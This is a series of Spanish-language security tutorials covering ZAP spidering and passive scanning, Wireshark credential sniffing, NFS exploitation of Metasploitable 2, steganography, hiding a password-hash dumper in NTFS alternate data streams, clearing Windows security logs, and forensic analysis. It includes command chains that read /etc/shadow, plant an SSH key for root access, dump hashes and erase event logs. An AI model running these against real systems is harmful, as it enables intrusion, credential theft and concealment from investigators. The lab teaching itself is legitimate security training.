Realizar un Spidering Dirigido por el Usuario utilizando Zed Attack Proxy

Body

Un Spidering dirigido por el Usuario es una técnica más sofisticada y controlada, la cual es usualmente preferible a un spidering automático. En este escenario el usuario recorre o transita a través de la aplicación web de la manera usual utilizando un navegador web, intentando navegar a través de todas las funcionalidades de la aplicación web. Mientras esto es realizado, el tráfico resultante se pasa a través de una herramienta combinando un proxy de interceptación y spider, el cual vigila todas las peticiones y respuestas. La herramienta construye un mapa de la aplicación, incorporando todas las URLs visitadas por el navegador. Esta también interpreta todas las respuestas desde la aplicación en la misma manera como un spider consciente de la aplicación y actualiza el mapa con el contenido y funcionalidad que descubre.

Se inicia un navegador web como Firefox y se utiliza FoxyProxy para definir la utilización de Zed Attack Proxy como Proxy de interceptación. Luego se ingresa a la aplicación web en evaluación.

Se procede a navegar toda la aplicación normalmente, intentando visitar cada enlace / URL descubierta, completar y enviar cada formulario, y procediendo a través de todas las funciones de varios pasos hasta su culminación.

Opcionalmente se puede iniciar al Spider de Zed Attack Proxy, el cual utilizará todo el contenido ya enumerado como punto de inicio. Se sugiere identificar cualquier URL inadecuada que pueda romper la sesión con la aplicación, para excluirla del alcance del Spider.

Hacer clic derecho, para luego hacer seleccionar la opción “Attack -> Spider Subtree” o Ataque -> Spider a Rama.

Finalizado el proceso, anotar en el panel superior izquierdo correspondiente al mapa del sitio, la visualización de un nuevo icono “Araña” precediendo algunas URLs / Enlaces. Esto comunica que estos recursos han sido obtenidos o capturados mediante el Spider de ZAP. En el panel inferior de la pestaña “Spider” se visualiza en la columna “Flags” como algunas de las URLs / Enlaces descubiertos por el Spidering Dirigido por el Usuario han sido utilizados por la herramienta Spider de Zed Attack Proxy.

El mapa del sitio generado por el Proxy de Interceptación y el Spider contiene información valiosa sobre la aplicación objetivo, la cual será utilizada posteriormente para identificar diversas superficies de ataque expuestas por la aplicación web.

Fuentes:

https://code.google.com/p/zaproxy/

Realizar un Spidering Web utilizando Zed Attack Proxy

Body

El “Spider” o Araña es una herramienta utilizada para automatizar el descubrimiento de nuevos recursos (URLs) sobre un sitio en particular. Inicia con una lista de URLs para visitar, denominada las semillas, que depende de la forma en como se iniciará el Spider. El Spider luego visita estas URLs identificando todos los hiperenlaces en la página y los añade a la lista de URLs para visitar, además este proceso continúa de manera recursiva tanto como sean encontrados nuevo recursos.

Existen cuatro métodos para iniciar el Spider, diferenciados por la lista semilla con el cual inicia.

  • Spider Site o Spider del Sitio - La lista semilla contiene todas las URIs existentes ya encontradas para el sitio seleccionado.
  • Spider Subtree o Spider a Rama - La lista semilla contiene todas las URIs existentes ya encontradas y presentes en la rama de un nodo seleccionado.
  • Spider URL o Spider URL - La lista semilla contiene únicamente la URI correspondiente al nodo seleccionado (en el árbol del sitio).
  • Spider all in Scope o Spider todo en Alcance - La lista semilla contiene todas las URIs que el usuario ha seleccionado como “En Alcance”.
  • Spider all in Context... o Spider todo en Contexto... - La lista semilla contiene todas las URIs seleccionadas por el usuario como en el contexto seleccionado.

Durante el procesamiento de una URL, el Spider realiza una petición para traer el recurso y luego interpretar la respuesta, identificando hiperenlaces. Actualmente tiene el siguiente comportamiento cuando procesa tipos de respuestas:

HTML

Procesa etiquetas específicas, identificando enlaces a nuevos recursos:

  • Base - Manejo adecuado
  • A, Link, Area - Atributo “href”
  • Frame, Iframe, Script, Img - Atributo “src”
  • Meta - “http-equiv” para “location” y “refresh”
  • Form - Manejo adecuado para Formularios con los método GET y POST. Los valores de los campos son generados válidamente, incluyendo tipos de entrada HTML 5.0
  • Comments - Etiquetas válidas en los comentarios también son analizados, si se especifica en la pantalla de opciones del Spider.

Archivo Robots.txt

Si está ajustado en la pantalla de opciones del Spider, también se analiza el archivo “Robots.txt” y se intenta identificar nuevos recursos utilizando las reglas especificadas. Se tiene que mencionar que el Spider no sigue las reglas especificadas dentro del archivo “Robots.txt”.

OData Atom format

Contenido OData utilizando el formato Atom es actualmente soportado. Todos los enlaces incluidos (relativo o absoluto) son procesados.

Non-HML Text Response

Las respuesta de texto son interpretadas escaneandolas por patrones URL.

Non-Text Response

Actualmente, el Spider de ZAP no proceso este tipo de recursos.

Otros Aspectos

  • Cuando se verifica si una URL ha sido ya visitada, el comportamiento relacionado a como los parámetros son manejados puede ser configurado sobre la pantalla Opciones del Spider.
  • Cuando se verifica si una URL ha sido ya visitada, hay pocos parámetros los cuales son ignorados: jsessionid, phpsessid, aspsessionid, utm_*.
  • El comportamiento del Spider relacionado a la cookies se define mediante la opción presente en “Edit -> Enable Session Tracking” o “Editar -> Habilitar Rastreo de Sesión”. Si esta opción esta habilitada, el Spider manejará adecuadamente cualquier cookie recibida desde el servidor y lo enviará de vuelta. Si la opción está deshabilitada, el Spider no enviará ninguna cookie en estas peticiones.

Se inicia ZAP, para luego configurar su utilización con el navegador web Firefox .

Para visualizar y modificar la configuración del Spider ingresar al menú “Edit -> Options -> Spider” o Editar -> Opciones -> Araña. Para el ejemplo se activará la opción “Parse 'robots.txt' files for new URIs”. Además de ello se puede configurar, la profundidad máxima, el número de hilos, los dominios en el “alcance”, etc.

Se ingresa a la aplicación web en evaluación.

Hacer clic derecho sobre la selección pertinente , para luego seleccionar la opción “Attack -> Spider Subtree” o “Ataque -> Araña a la Rama”.

Notar como se ha poblado en panel superior izquierdo con nuevos recursos encontrados.

Al hacer clic en la pestaña de nombre “Spider” ubicado en el panel inferior, se visualizan las columnas sobre los recursos procesados, el método utilizado, la URI y “Flags” o Banderas, en esta última columna anotar el texto “SEED” o semilla, indicador de que este dato se incluye en la lista semilla.

Diversas herramientas pueden realizar un Spidering automático de sitios web. Todas estas herramientas funcionan solicitando una página web, interpretándola por enlaces u otros contenidos, para luego solicitar estos enlaces, y continuando recursivamente hasta que no haya nuevo contenido descubierto.

Fuentes:

https://code.google.com/p/zaproxy/wiki/HelpStartConceptsSpider
https://code.google.com/p/zaproxy/wiki/HelpUiDialogsOptionsSpider
https://code.google.com/p/zaproxy/
http://www.odata.org/
http://atomenabled.org/

Escaneo Pasivo utilizando Zed Attack Proxy

Body

Zed Attack Proxy – ZAP escanea todas las respuestas provenientes desd la aplicación web en evaluación. El escaneo pasivo no cambia las respuestas en ninguna manera y es por lo tanto segura de utilizar. El escaneo es realizado en segundo plano para asegurarse de no generar lentitud en la exploración de la aplicación web.

La configuración del escaneo pasivo en ZAP se realiza mediante el menú “Tools -> Options -> Passive Scan” o Herramientas -> Opciones -> Escaneo Pasivo. Aquí se pueden visualizar las reglas de escaneo pasivo definidas, siendo factible además agregar o cambiar reglas, aplicables únicamente a nuevas solicitudes no a las existentes.

Para modificar una de las reglas existentes; por ejemplo la de nombre “html_comment1”, hacer clic en el botón de nombre “Modify...” o Modificar... ubicado en el panel derecho.

En la nueva ventana presentada se visualizan campos como el nombre, tipo, configuración, expresión regular de la URL solicitada, expresión regular de la cabecera de solicitud, expresión regular de la cabecera de respuesta, y la expresión regular en el cuerpo de la respuesta. En este último campo se ha definido el valor “/\*”, el cual es una expresión regular que corresponde al inicio de un comentario “/*” en HTML. El hecho de anteponer con un “\” antes del “*” implica la capacidad de poder citar caracteres especiales. Esto a razón de que el “*” en expresiones regulares significa corresponder lo precedente cualquier número veces.

Configurar el navegador web para utilizar ZAP como Proxy de Interceptación. Esto se puede realizar fácilmente con la ayuda de FoxyProxy.

Ingresar a la aplicación web en evaluación, para luego fijar la atención en la columna de nombre “Tags” o Etiquetas ubicado en el lado derecho del panel inferior. Según la información detallada, se han identificado Scripts, Cookies, y Comentarios en las respuestas devueltas desde la aplicación web.

Para analizar y verificar los resultados expuestos por algunas de las reglas del escaner pasivo, se procede a ubicar la primera respuesta devuelta desde la aplicación web. Luego se selecciona la línea correspondiente en el panel inferior, para luego hacer clic en la pestaña de nombre “Response” o Respuesta ubicada en al panel superior derecho.

Se visualiza en las cabeceras de respuesta la inclusión de la cadena “Set-Cookie”, lo cual coincide con la expresión regular incluida en la regla de nombre “html_setcookie”.

Se visualiza en el cuerpo de la respuesta la inclusión de etiquetas "<script", lo cual coincide con la expresión regular incluida en la regla de nombre “html_tag_script”.

Y también se visualiza en el cuerpo de la respuesta la inclusión de "<! --”, lo cual coincide con la expresión regular incluida en la regla de nombre “html_comment2”.

Las reglas por defecto incluidas en el escaner pasivo de ZAP incluyen la capacidad de detectar comentarios, direcciones de correos electrónicos, cookies, formularios, objetos, contraseñas, scripts, campos ocultos, entre otras. Reiterar la capacidad proporcionada por el escaner pasivo de ZAP, para la creación de nuevas reglas que satisfagan requerimientos específicos.

En la versión más reciente de ZAP se utiliza el escaner pasivo para añadir automáticamente “tags” o etiquetas y levantar “alertas” de potenciales inconvenientes.

Fuentes:

https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
https://code.google.com/p/zaproxy/wiki/HelpStartConceptsTags
https://code.google.com/p/zaproxy/wiki/HelpStartConceptsAlerts
http://www.regular-expressions.info/
http://getfoxyproxy.org/

Capturar Credenciales en Texto Plano utilizando WireShark

Body

Wireshark es un analizador de protocolos, el cual permite observar aquello suscitándose en las redes a un nivel microscópico. Es una herramienta muy utilizada en diversos tipos de organizaciones o instituciones, la cual se desarrolla gracias a las contribuciones de expertos de todo el mundo.

Para el siguiente ejemplo ser consciente y considerar lo indeseable de transferir credenciales en texto plano a través de las redes. En algunos escenarios el hecho de transferir las contraseñas cifradas no implica necesariamente la confidencialidad de las mismas, pues es harto conocido y difundido el uso de herramientas cuyo propósito principal es tratar de “adivinar” las contraseñas cifradas.

El escenario de los siguientes ejemplos implica la capacidad de definir el estado promiscuo en la interfaz de red, y la utilización en la red local de un dispositivo como un “hub”, lo cual posibilita aceptar tráfico no destinado a nuestro sistema.

Iniciar Wireshark


# wireshark &

Definir la interfaz la interfaz de red desde la cual se realizará la captura, ubicado en el panel inferior izquierdo de Wireshark. En este sistema será “eth0”. Luego proceder a hacer clic en el botón con la aleta de color verte ubicado en el menú superior.

Se establece una conexión hacia un servicio FTP. WireShark mostrará todas las interacciones realizadas entre el cliente y servidor, como el establecimiento de la conexión y el intercambio de las credenciales en texto plano.

Para visualizar mejor esta interacción se utiliza la opción “Follow TCP stream” de WireShark, la cual permite visualizar los datos desde un flujo TCP en la forma en que la capa de aplicación lo visualiza.

Con esta acción es más sencillo visualizar el nombre de usuario y contraseña utilizada para autenticarse al servicio FTP.

En ciertos escenarios, aunque la contraseña transmitida este cifrada también, es factible poder capturarla para posteriormente tratar de “descifrarla”. Para el siguiente ejemplo se utilizará una aplicación web.

Se utiliza nuevamente la opción “Follow TCP Stream” de Wireshark.

Notar en la cabecera “Authorization” la inclusión de una codificación en Base64. Resulta muy sencillo decodificarla, con lo cual se obtiene el usuario y contraseña utilizado para autenticarse contra una aplicación web.


# echo "dXNlcjp1c2Vy" | base64 -d

Fuentes:

https://www.wireshark.org/

Explotar el Servicio NFS en Metasploitable 2

Body

Network File System o NFS por sus siglas en inglés, es un protocolo para un sistema de archivos distribuido, el cual permite a un usuario en una computadora cliente el acceso hacia archivos a través de la red como si accediera a un almacenamiento local.

Se realiza un escaneo de puertos TCP utilizando la herramienta nmap contra el objetivo de evaluación, donde se detecta en el puerto TCP 2049 el servicio nfs. NFS también puede ser detectado consultando al portmapper por una lista de servicios.


# nmap -Pn -n -sV -p- 192.168.0.X

Para el siguiente ejemplo se utiliza el comando “rpcinfo” para identificar NFS, el cual realiza una llamada RPC (Remote Procedure Call) hacia un servidor RPC y reporta lo encontrado.

RPC o Remote Procedure Call es una técnica para construir sistema distribuidos, y aplicaciones cliente / servidor. Básicamente permite a un programa sobre una máquina llamar a una subrutina sobre otra máquina. RPC no es un protocolo de transporte; en lugar de ello, es un método para utilizar características existentes de una comunicación de una manera transparente. En servidores Unix o similares se debe ser conscientes de la aplicaciones que utilizan RPC.

La opción “-p” evalúa al portmapper del host, e imprime una lista de todos los programas RPC registrados.


# rpcinfo -p 192.168.0.X

Se utiliza el comando “showmount” para mostrar información de montaje sobre un servidor NFS. La opción “-e” muestra la lista de exportación del servidor NFS.


# showmount -e 192.168.0.X

Si la“/” raíz del sistema de archivos del objetivo de evaluación está siendo exportado, entonces es factible montar localmente este sistema de archivos. Con el comando "mount" se utiliza la opción “-t” para indicar el tipo del sistema de archivos a montar. La opción “-o” define otras opciones, para este presente ejemplo el uso de la opción “nolock” permite a las aplicaciones bloquear archivos, pero tales bloqueos proporcionan exclusión únicamente contra otras aplicaciones ejecutándose en el mismo cliente


# mkdir FSremoto
# mount -t nfs 192.168.0.X:/ FSremoto/ -o nolock

Con acceso al sistema de archivos remoto, se pueden visualizar archivos sensibles como el archivo “/etc/shadow” donde se almacenan las contraseñas cifradas.


# cat FSremoto/etc/shadow

Un táctica para obtener acceso hacia el objetivo de evaluación, es conectarse el servicio ssh, para ello se requiere generar un nueva llave ssh.


# ssh-keygen

Esta nueva llave será añadida al archivo de nombre “authorized_keys” propiedad del usuario root.


# cat /tmp/id_rsa.pub >> FSremoto/root/.ssh/authorized_keys

Se establece una conexión al servicio SSH del objetivo de evaluación. La opción “-i” selecciona un archivo desde el cual se lee la identidad (llave privada) para la autenticación de llave pública.


# ssh -i /tmp/id_rsa root@192.168.0.X

Ya se tiene acceso al objetivo de evaluación con los privilegios del usuario “root”.

Fuentes:

http://en.wikipedia.org/wiki/Network_File_System
https://community.rapid7.com/docs/DOC-1875
http://www.computersecuritystudent.com/SECURITY_TOOLS/METASPLOITABLE/EX…
http://www.pax-pentest.net/exploitation/metasploitable-2-rpc-remote-pro…

Ocultar un Archivo de Texto dentro de un Archivo JPG utilizando Steghide

Body

La esteganografía es el arte o práctica de ocultar un mensaje, imagen, o archivo dentro de otro mensaje, imagen, o archivo. Steghide es un programa esteganográfico capaz de ocultar datos en varios tipos de archivos de imagen o audio. El color y las frecuencias de muestreo no son cambiados, haciendo a la inserción resistente contra evaluaciones estadísticas de primera orden.

En la versión de Kali Linux utilizada para desarrollar el siguiente ejemplo, no se incluye por defecto steghide, razón por la cual se procede a realizar su instalación.


# apt-get install steghide

Se procede a visualizar la imagen "original" dentro de la cual se ocultarán los datos.

Para propósitos del ejemplo se realiza una copia del archivo "original". Al generar el Hash SHA1 del archivo original y la copia se verificar la igualdad de ambos archivos.

Se visualiza el contenido del archivo de texto, el cual será insertado en el archivo de formato JPG.

Se ejecuta steghide con la opción “embed” para incrustar datos, la opción “-cf” para definir el archivo cubierta, y la opción “-ef” para seleccionar el archivo a incrustar. Luego de ingresar la frase de pase, el proceso se realiza satisfactoriamente.


# steghide embed -cf war-games1.jpg -ef TextoOculto.txt

Se lista el archivo JPG con los datos incrustados, y también el archivo copia realizado del archivo "original". Se percibe un incremento en el tamaño. Se generan también los respectivos Hashes SHA1 desde ambos archivos, donde se corrobora la modificación realizada en el archivo "original" utilizado para incrustar datos.

Se procede a abrir ambos archivos. Visualmente es improbable el poder detectar la inserción.

El proceso inverso permite extraer el archivo de texto incrustado desde el archivo JPG. La opción “extract” extrae los datos, y la opción -”sf” selecciona el archivo esteganografiado.


# steghide extract -sf war-games1.jpg

Luego de ingresada la frase de pase correcta, el archivo de texto será extraído.

Fuentes:

http://steghide.sourceforge.net/
http://en.wikipedia.org/wiki/Steganography

Utilizar Flujos Alternativos de Datos (ADS) para Ocultar Archivos

Body

En un Sistema de Archivos NTFS un archivo se divide en “atributos” y uno de esos atributos es $DATA o denominado simplemente atributo de dato. Esta es la parte del archivo donde se colocan los datos. Si se tiene un archivo de texto que dice “Este es mi texto”, entonces si se visualiza en el atributo de dato este contendrá un flujo de dato que lee “Este es mi texto”. Sin embargo este es un flujo de dato normal, algunas veces denominado flujo primario de dato, pero de manera más precisa se denomina flujo sin nombrar del dato. Esto debido a que este flujo del dato no tiene un nombre. El cual es referido como

$DATA:””

El nombre del flujo aparecerá entre las comillas. Ya que este es un flujo sin nombrar de dato, no existe nada allí.

Conocido como se ve un flujo alternativo de dato, se puede pensar en términos de alternantes. Conociendo que el lugar donde normalmente se almacena el dato es el flujo sin nombrar de dato, y si el flujo tiene un nombre, este es alternativo. De tal manera, si se tiene un archivo con un ADS de nombre “SegundoFlujo”, el nombre completo es $DATA:”SegundoFlujo”.

Los archivos ADS tienen la habilidad de ser añadidos a archivos existentes sin afectar su tamaño o funcionalidad, los archivos ADS no son visibles por el explorador de Windows o el comando “dir” a menos que se utilice la opción “/R”.

Para el primer ejemplo se ocultará un archivo de texto dentro de otro archivo de texto. Se procede a crear un archivo de texto, para luego listar el directorio. Notar el tamaño del archivo.


C:\> echo Este es un Archivo de Texto > ejemplo.txt

Se visualiza el contenido del archivo utilizando el comando “type”.


C:\> type ejemplo.txt

Se procede a crear el ADS, para luego listar nuevamente el directorio.


C:\> echo Este es un Texto Oculto > ejemplo.txt:secreto.txt

Notar el tamaño invariable del archivo de nombre “ejemplo.txt”.

Se visualiza nuevamente el archivo de nombre ejemplo.txt, para luego tratar de visualizar el archivo ADS.

Dado que el comando "type" no interpreta adecuadamente el operador de dos puntos ":", se utilizará la aplicación Notepad en el Sistema Windows 7 para visualizar el ejemplo desarrollado.


C:\> notepad ejemplo.txt:secreto.txt

Aparte del escenario en el cual es factible ocultar un archivo de texto o similar, resultará más atractivo un escenario donde sea factible ocultar un archivo ejecutable, sea este una herramienta, malware o cualquier programa útil para nuestros propósitos.

Para el siguiente ejemplo se ocultará el programa fgdump, el cual es una herramientas con diversas opciones de uso, una de estas opciones es la capacidad de realizar un volcado de los hashes de las contraseñas desde un Sistema Windows.

Crear un archivo de texto para ocultar el archivo.


C:\> echo Este es un Archivo de Texto > ejemplo2.txt

Se coloca o incluye el archivo ejecutable de nombre “fgdump.exe”.


C:\> type fgdump.exe > ejemplo2.txt:fgdump.exe

Para ejecutar el archivo ejecutable en Windows 7 se tienen dos opciones, en primera instancia utilizando un enlace simbólico y la segunda opción es utilizando el comando "wmic". Para el presente ejemplo se utilizará la primera opción.


C:\> mklink fg.exe C:\Users\usuariow7\Downloads\ejemplo2.txt:fgdump.exe

Una vez creado el enlace simbólico se procede con su ejecución.


C:\> fg.exe

La ejecución de "fgdump" generada diversos archivos, entre los cuales se visualiza el archivo conteniendo los hash de las contraseñas cifradas del Sistema Windows 7.


C:\> type 127.0.0.1.pwdump

Fuentes:

http://blogs.technet.com/b/askcore/archive/2013/03/24/alternate-data-st…
http://www.irongeek.com/i.php?page=security/altds
http://www.darknessgate.com/security-tutorials/date-hiding/ntfs-alterna…
http://foofus.net/goons/fizzgig/fgdump/
http://vlaurie.com/computers2/Articles/alternate-data-streams.htm

Borrar Archivos de Registros (Logs) en Windows 7

Body

Cuando ya se obtenido acceso al sistema con los privilegios pertinentes, es factible limpiar o borrar los archivos donde ser registran los diversos eventos del sistema, o mejor conocidos como “Archivos Logs”. El propósito de este procedimiento es ocultar las acciones realizadas durante el ingreso al sistema o acciones posteriores.

Los archivos de registros de eventos (log files) registran los diversos eventos suscitados en el sistema, como cuando un usuario hace “login” en la computadora, o como cuando un programa encuentra un error. Sea cual fuere los tipos de eventos, Windows registra el evento en un registro de eventos que puede ser leído. Esta información puede incluir, eventos de aplicaciones (programas), eventos relacionados a la seguridad, eventos de configuración, eventos del sistema, entre otros. Los archivos también pueden ayudar a identificar y diagnosticar el origen de los problemas en Windows u otro programas.

WevUtil es una utilidad en línea de comando la cual permite obtener información sobre los registros de eventos y publicadores. También se puede utilizar este comando para instalar y desinstalar manifiestos de eventos, ejecutar consultas, y para exportar, archivar, y limpiar registros (logs).

Para el siguiente ejemplo ya se tiene acceso shell en un Sistema Windows 7 con los privilegios del usuario Administrador.

Para visualizar mejor el ejercicio se procede a abrir el Visor de Eventos en el Sistema Windows 7.

Para limpiar solo un registro de evento específico, se debe en primera instancia conocer su nombre. La opción “el” muestra el nombre de todos los registros.

C:\> wevtutil el

Debido a la extensión del listado resultante, se utilizan comandos windows para copiar el listado hacia un archivo, para luego buscar todas las ocurrencias de la palabra “security” dentro de este archivo.

C:\> wevtutil el > logs.txt
C:\> type logs.txt | find /i "security"

Se utiliza la opción “gl” para mostrar la información de configuración para el log especificado, lo cual incluye si el log está habilitado o no, el límite máximo correspondiente al tamaño del archivo log, y la ruta al archivo donde se almacena el log.

C:\> wevtutil gl Security

La opción “gli” muestra información sobre el estado de un archivo de registro o registro de evento.

C:\> wevtutil gli Security

Identificado el nombre del archivo de registro (log), se procede a realizar la clásica limpieza de la totalidad del archivo log de nombre “Security”. Aunque puede ser seleccionado cualquiera de los archivos de registros de eventos.

C:\> wevtutil cl Security

Al visualizar nuevamente el contenido del archivo log "Security" con el Visor de Eventos de Windows 7, se registra solo la existencia de un único evento.

wevtutil proporciona diversas opciones, las cuales permiten modificar la configuración de archivos logs específicos, archivar un archivo de registro (log) específico, exportar los eventos desde un registro de eventos, entre otras opciones

Se debe tener en consideración sobre esta acción de limpieza, que no se realizado un borrado seguro o sanitización de la zona donde residía este archivo. De esta manera sería factible la recuperación de parte o la totalidad del archivo, y consecuentemente de los eventos contenidos en este.

Fuentes:

http://windows.microsoft.com/en-us/windows/what-information-event-logs-…
http://winaero.com/blog/how-to-clear-the-windows-event-log-from-the-com…
http://technet.microsoft.com/en-us/library/cc722318.aspx

Forense a la Papelera de Reciclaje en Windows 7

Body

Cuando un archivo es borrado en un Sistema Operativo Microsoft este sigue existiendo en la computadora. Este está oculto en una ubicación conocida como la Papelera de Reciclaje. El archivo se mantiene dentro de esta ubicación hasta ser limpiada por el usuario.

En Windows 7 se utiliza un nuevo formato para la papelera de reciclaje, la cual está ubicada en un directorio oculto de nombre “\$Recycle.Bin\%SID%”, donde “%SID%” es el SID (Security IDentifier) o Identificador de Seguridad del usuario causante del borrado de los archivos.

Cuando un archivo se movió dentro de la Papelera de Reciclaje, el archivo original es renombrado con $R seguido por un conjunto de caracteres aleatorios, pero manteniendo la extensión original del archivo. Al mismo tiempo se crea un nuevo archivo iniciando con $I seguido por el mismo conjunto de caracteres aleatorios asignado al archivo $R con la misma extensión. Este archivo contiene la ruta y el nombre de archivo original, el tamaño del archivo, además de la hora y fecha en la cual se movió el archivo hacia la Papelera de Reciclaje.

Se procede a abrir con un editor hexadecimal de nombre “Bless Hex Editor” para iniciar el análisis del el archivo $I.

Los bytes del 0 hasta el 7 corresponden a la cabecera del archivo $I, el cual siempre está definido a un 01 seguido por un conjunto de siete 00.

Los bytes del 8 hasta el 15, representan el tamaño del archivo original, almacenado en hexadecimal en “little endian”. En "little endian" se almacena el byte menos significativo en las direcciones más pequeñas. Por lo tanto para convertir este valor hexadecimal hacia su valor en decimal se hace necesario invertir en primera instancia este valor hexadecimal de “0B 00 00 00 00 00 00 00” hacia “00 00 00 00 00 00 00 0B”, el cual en decimal representa al número 11. Es decir el tamaño del archivo borrado es de 11 Bytes.

Los bytes del 16 hasta el 23 representan le fecha y hora del borrado, representado en el número de segundos transcurridos desde el 1ero de Enero del año 1601.

Para convertir de manera sencilla este código hexadecimal, es factible utilizar la herramienta de nombre Dcode, la cual permite decodificar este valor hexadecimal directamente desde “little endian”, con lo cual no hay necesidad previa de realizar la inversión de códigos. Ingresado el valor en el campo de nombre “Value to Decode” o Valor a Decodificar se hace clic en el botón de nombre “Decode”o Decodificar, luego de lo cual la fecha y hora de borrado se exponen en el campo de nombre “Date & Time:” o “Fecha & Hora”.

Desde el Byte 24 en adelante se localiza el resto de la información sobre el archivo, como la ruta completa y el nombre del archivo borrado. Los caracteres ASCII están espaciados por bytes nulos entre ellos. Todo lo restante del archivo es rellenado con bytes “nulos” hasta alcanzar los 544 bytes de longitud.

Mencionar adicionalmente que el comportamiento es un poco diferente cuando se mueve un directorio hacia la Papelera de Reciclaje. El nombre del directorio es renombrado con $R seguido por un conjunto de caracteres aleatorios, pero los archivos y directorios bajo este directorio mantienen sus nombres originales. Se crea un archivo $I igual que al borrar un archivo individual el cual contiene el nombre del directorio original, la fecha y hora de borrado, y el tamaño.

Fuentes:

http://www.reydes.com/d/?q=Forense_a_la_Papelera_de_Reciclaje_en_Window…
http://dereknewton.com/2010/06/recycle-bin-forensics-in-windows-7-and-v…
http://www.forensicfocus.com/forensic-analysis-vista-recycle-bin
http://lowmanio.co.uk/blog/entries/windows-7-recycle-bin-forensics/
http://www.cs.umd.edu/class/sum2003/cmsc311/Notes/Data/endian.html
http://www.digital-detective.net/digital-forensic-software/free-tools/

Analizar el Registro de Windows utilizando Windows Registry Recovery

Body

Windows Registry Recovery o por su traducción al idioma español “Recuperador del Registro de Windows”, es una aplicación capaz de leer archivos conteniendo colmenas de registro de Windows 9x, NT, 2K, XP, 2K3. Esta herramienta extrae diversa información útil sobre la configuración y ajustes de la máquina. La colmena de registro puede ser también exportada en formato REGEDIT4. Cada tópico de datos puede ser guardado a CSV. Y esta diseñado con varias interfaces de documentos.

Se procede a iniciar WRR (Windows Registry Recovery). Para seleccionar una colmena hacer clic en la opción “File -> Open” o "Abrir -> Archivo", para luego buscar y seleccionar el archivo pertinente.

A continuación se describen los exploradores individuales.

Información de Archivo. En este explorador se visualizan las propiedades básicas y sumas de verificación de los archivos.

Explorador del Registro de Seguridad. Muestra todos los registros de seguridad utilizados en el Registro de Windows. Contador de uso, SID del propietario, SID del grupo, lista de todas las claves afectadas y se muestran lista de SACL (System Access Control List) y DACL (Discretionary Access Control List) para cada registro con banderas y permisos enumerados. Este explorador está disponible solo para colmenas de registro basados en sistemas NT.

SAM. Muestra el SID de la máquina y partes del SYSKEY. Enumera las cuentas locales y grupos, además de algunas de sus propiedades. Este explorador esta disponible solo para colmenas SAM de registro basados en sistemas NT.

Instalación de Windows. Muestra el nombre del sistema Windows, ID y clave, fechas de instalación e información sobre el registro del usuario. Enumera todo el software instalado con descripciones y fecha de instalación además de una lista de revisiones instaladas con descripción. Este explorador esta solo disponible para colmenas SOFTWARE de registro (El ID del Producto y clave pueden ser extraídos también de la colmena SYSTEM).

Hardware. Muestra una rápida visión general (CPU, Monitores, Tarjeta de Red y Sonido, además de tarjetas de Red), y mapeo completo de dispositivo de los dispositivos configurados que funcionan sobre la máquina. Estos son mostrados en el árbol “Like Device Manager” con algunas propiedades. Este explorador esta disponible para la colmena SYSTEM del registro.

Datos de Usuario. Muestra el usuario y nombre de la máquina, además de un árbol basado en el menú “Inicio” para la colmena USER seleccionada. Este explorador está disponible para la colmena USER del registro.

Aplicaciones de Inicio. Enumera las aplicaciones registradas para ser iniciadas después del inicio del sistema. Este explorador solo está disponible para colmenas SOFTWARE de registro basados en sistemas NT.

Servicios y Controladores. Enumera todos los servicios y controladores instalados con sus propiedades. Este explorador está disponible para colmenas SYSTEM del registro basados en sistemas NT.

Configuración de Red. Muestra todos los clientes de red instalados, protocolos y servicios. Enumera todas las conexiones de red definidas con configuración TCP/IP. Este explorador está disponible solo para colmenas SYSTEM del registro basados en sistemas NT.

Configuración del Firewall de Windows. Muestra los ajustes (reglas) para el Firewall de Windows. Este explorador está disponible solo para colmenas SYSTEM del registro basados en sistemas NT.

Entorno. Muestra todas las variables del entorno. Este explorador está disponible para colmenas SYSTEM del registro basados en sistemas NT.

Carpetas Shell. Muestra carpetas Shell (carpetas conocidas al sistema). Este explorador está disponible para la colmenas SYSTEM del registro basados en sistemas NT.

Outlook Express. Extrae todas las cuentas y configuraciones de Outlook Express. Este explorador está disponible solo para colmenas USER del registro basados en sistemas NT.

Datos en Bruto. Este explorador muestra todo el registro en el formato de árbol conocido. Contiene una búsqueda poderosa y un interprete de datos.

Fuentes:

http://www.mitec.cz/wrr.html